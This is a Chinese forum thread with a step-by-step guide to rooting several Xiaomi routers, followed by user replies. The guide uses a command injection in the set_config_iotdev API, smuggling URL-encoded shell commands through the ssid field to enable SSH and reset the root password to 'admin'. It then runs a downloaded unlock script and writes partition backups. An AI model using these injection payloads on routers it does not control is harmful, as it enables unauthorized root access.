小米ax3600/ax6000/ax9000/ax5/ax6获取root权限【简单快速】【修复丢ssid】

pal***

更新工具检测是否是特殊版
修复固件读取不了ssid的问题
修复极个别机器crc错误
添加型号显示
更新armv7和armv8支持

首先固件版本需要降级到AX3600 1.0.17
固件下载地址
链接: https://pan.baidu.com/s/15QsNvM9qwgTVtk8zF843eA 提取码: 8rcu

升级后安装正常设置流程设置一遍，最后登录后地址是

1. http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/web/home#router

复制代码

注意这个`<STOK>`就是接下来要使用的，大小写敏感，直接复制不要手敲

1. http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=-h%3B%20nvram%20set%20ssh_en%3D1%3B%20nvram%20commit%3B%20sed%20-i%20's%2Fchannel%3D.*%2Fchannel%3D%5C%22debug%5C%22%2Fg'%20%2Fetc%2Finit.d%2Fdropbear%3B%20%2Fetc%2Finit.d%2Fdropbear%20start%3B

复制代码

把`<STOK>`替换成你的，回车后显示`{"code":0}`就说明成功了，接下来为了升级算密码的麻烦直接改掉root密码

1. http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=-h%3B%20echo%20-e%20'admin%5Cnadmin'%20%7C%20passwd%20root%3B

复制代码

把`<STOK>`替换成你的，回车后显示`{"code":0}`就说明成功了，这样root的密码就是admin了
直接ssh登录就能见到are u ok
如果想改成其他密码

1. passwd root

复制代码

接下来输入两次密码，然后重新登录就ok了
但这样并不能保证升级后ssh还能登录
下面继续

1. nanddump -f /tmp/bdata_mtd9.img /dev/mtd9

复制代码

然后用winscp下载到桌面备份好（以防万一），接下来把网盘下载的mitool.zip解压出的3个文件上传到路由`/tmp`目录里
然后

1. chmod +x /data/mitool*

复制代码

在然后

1. /data/mitool.sh unlock

复制代码

机器会自动重启，重启后继续

1. /data/mitool.sh hack

复制代码

会自动设置永久ssh、telnet、uart权限并自动重启，同时会计算出默认的root密码，注意记录密码，恢复出厂后telnet和ssh需要用
重启后即使恢复出厂ssid也能正常了

随时查看默认密码

1. /data/mitool.sh password

复制代码

如升级后ssh被禁用可以用telnet登录，执行下面代码再次启用ssh

1. sed -i 's/channel=.*/channel="debug"/g' /etc/init.d/dropbear
   
2. /etc/init.d/dropbear start

复制代码

至此基本可以保证机器长期拥有root权限

源代码

https://github.com/paldier/ax3600_tool

perov***

非常有用，感谢分享

lovezh***

感谢楼主分享~！

chen***

谢谢分享，有机会买台来试试

lao***

牛逼啊这个

gou***

https://www.right.com.cn/forum/thread-4045295-1-1.html
跟这个一样吧？

jarr***

跟那个帖子一样的。不过全自动了。

能计算root密码倒是很好。

不过既然ssh默认开不了，那就不要修改了吧。

uart是什么意思

18005***

ax5可以用就好了

wcd***

恢复是将“bdata_mtd9.img”回刷进去就行吗？

she***

不知ax5能否通用

Peop***

我的bdata是在mtd2分区，所以并不适用。。。

Mr.L***

感谢你的分享，无论怎样，你都是最无私的人！来，说说，你E盘上还有啥一起给我吧！

打打***

.50版本能用么？已经升级到了50版本开了ssh

lig***

这样操作后 ssh 获取到了   wifi 凉了

lig***

ligeek 发表于 2020-8-8 19:58
这样操作后 ssh 获取到了   wifi 凉了

这种情况下 再次恢复下出厂设置就可以了
如果想恢复原状
把前面备份的内容再上传到/tmp 执行下面命令
mtd write /tmp/bdata_mtd9.img bdata